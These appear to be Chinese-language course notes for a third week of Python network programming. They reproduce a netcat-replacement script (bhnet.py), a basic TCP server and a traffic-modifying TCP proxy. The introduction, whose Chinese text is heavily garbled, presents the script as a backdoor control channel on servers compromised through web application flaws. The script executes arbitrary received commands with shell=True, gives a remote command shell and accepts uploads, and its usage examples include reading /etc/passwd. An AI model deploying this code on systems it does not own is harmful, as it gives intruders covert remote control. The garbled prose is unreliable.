第三周代码
Python网络编程
取代 netcat
netcat是是网络界的“瑞士军刀＂，所以聪明的系统管理员都会将它从系统中移除。不止在一个场合，我进众的服务器没有安装 netcat却安装了 Python。在这种情况下，需要创建一个简单的客户端和服务器用来传递想使用的文件，或者创建个监听端让自已拥有增时命令的增们如果作是通过Web应用漏洞进入服务器的，那么在后台调用Python创建备用的控制通道显得尤为重要
这样就不需要首先在目标器上安装木马或后门
bhnet.py
import sys
import socket
import getopt
import threading
import subprocess
# define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
# this runs a command and returns the output
def run_command(command):
# trim the newline
command = command.rstrip()
# run the command and get the output back
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command. "
# send the output back to the client
return output
# this handles incoming client connections
def client_handler(client_socket):
global upload
global execute
global command
# check for upload
if len(upload_destination):
# read in all of the bytes and write to our destination
file_buffer = ""
# keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# acknowledge that we wrote the file out
client_socket.send("Successfully saved file to %s " % upload_destination)
except:
client_socket.send("Failed to save file to %s " % upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
# now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while " " not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# we have a valid command so execute it and send back the results
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
# this is for incoming connections
def server_loop():
global target
global port
# if no target is defined we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
# if we don't listen we are a client....make it so.
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# connect to our target host
client.connect((target,port))
# if we detect input from stdin send it
# if not we are going to wait for the user to punch some in
if len(buffer):
client.send(buffer)
while True:
# now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data
if recv_len < 4096:
break
print response,
# wait for more input
buffer = raw_input("")
buffer += " "
# send it off
client.send(buffer)
except:
# just catch generic errors - you can do your homework to beef this up
print "[*] Exception! Exiting."
# teardown the connection
client.close()
def usage():
print "Netcat Replacement"
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run - execute the given file upon receiving a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
# are we going to listen or just send data from stdin
if not listen and len(target) and port > 0:
# read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# send data off
client_sender(buffer)
# we are going to listen and potentially
# upload things, execute commands and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()
listing-1-3.py
import socket
import threading
bind_ip = "0.0.0.0"
bind_port = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip,bind_port)
# this is our client handling thread
def handle_client(client_socket):
# just print out what the client sends
request = client_socket.recv(1024)
print "[*] Received: %s" % request
# send back a packet
client_socket.send("ACK!")
print client_socket.getpeername()
client_socket.close()
while True:
client,addr = server.accept()
print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])
# spin up our client thread to handle incoming data
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()
我们将接收的数据提交给 response Handler函数。在函数中，我们可以修改数据包的内容，进行模测试任务，检测认证内题，或者其他任何你想做的事情，这里还有个类假的 request_handler函数可以将输出的流量进行整改最后步是将接收的缓有发送到不地客户据
剩于下的代码非简单我们持本地取数据处理，发送到运程主机、从
程读取取数据据、处理，发送国本地机自到有数据都处理
面我们将剩余的函数代码添加进来，完成代理本的编写：
import sys
import socket
import threading
# this is a pretty hex dumping function directly taken from
# http://code.activestate.com/recipes/142812-hex-dumper/
def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
s = src[i:i+length]
hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append( b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text) )
print b' '.join(result)
def receive_from(connection):
buffer = ""
# We set a 2 second time out depending on your
# target this may need to be adjusted
connection.settimeout(2)
try:
# keep reading into the buffer until there's no more data
# or we time out
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except:
pass
return buffer
# modify any requests destined for the remote host
def request_handler(buffer):
# perform packet modifications
return buffer
# modify any responses destined for the local host
def response_handler(buffer):
# perform packet modifications
return buffer
def proxy_handler(client_socket, remote_host, remote_port, receive_first):
# connect to the remote host
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))
# receive data from the remote end if necessary
if receive_first:
remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer)
# send it to our response handler
remote_buffer = response_handler(remote_buffer)
# if we have data to send to our local client send it
if len(remote_buffer):
print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
client_socket.send(remote_buffer)
# now let's loop and reading from local, send to remote, send to local
# rinse wash repeat
while True:
# read from local host
local_buffer = receive_from(client_socket)
if len(local_buffer):
print "[==>] Received %d bytes from localhost." % len(local_buffer)
hexdump(local_buffer)
# send it to our request handler
local_buffer = request_handler(local_buffer)
# send off the data to the remote host
remote_socket.send(local_buffer)
print "[==>] Sent to remote."
# receive back the response
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print "[<==] Received %d bytes from remote." % len(remote_buffer)
hexdump(remote_buffer)
# send to our response handler
remote_buffer = response_handler(remote_buffer)
# send the response to the local socket
client_socket.send(remote_buffer)
print "[<==] Sent to localhost."
# if no more data on either side close the connections
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print "[*] No more data. Closing connections."
break
def server_loop(local_host,local_port,remote_host,remote_port,receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind((local_host,local_port))
except:
print "[!!] Failed to listen on %s:%d" % (local_host,local_port)
print "[!!] Check for other listening sockets or correct permissions."
sys.exit(0)
print "[*] Listening on %s:%d" % (local_host,local_port)
server.listen(5)
while True:
client_socket, addr = server.accept()
# print out the local connection information
print "[==>] Received incoming connection from %s:%d" % (addr[0],addr[1])
# start a thread to talk to the remote host
proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))
proxy_thread.start()
def main():
# no fancy command line parsing here
if len(sys.argv[1:]) != 5:
print "Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0)
# setup local listening parameters
local_host = sys.argv[1]
local_port = int(sys.argv[2])
# setup remote target
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
# this tells our proxy to connect and receive data
# before sending to the remote host
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else:
receive_first = False
# now spin up our listening socket
server_loop(local_host,local_port,remote_host,remote_port,receive_first)
main()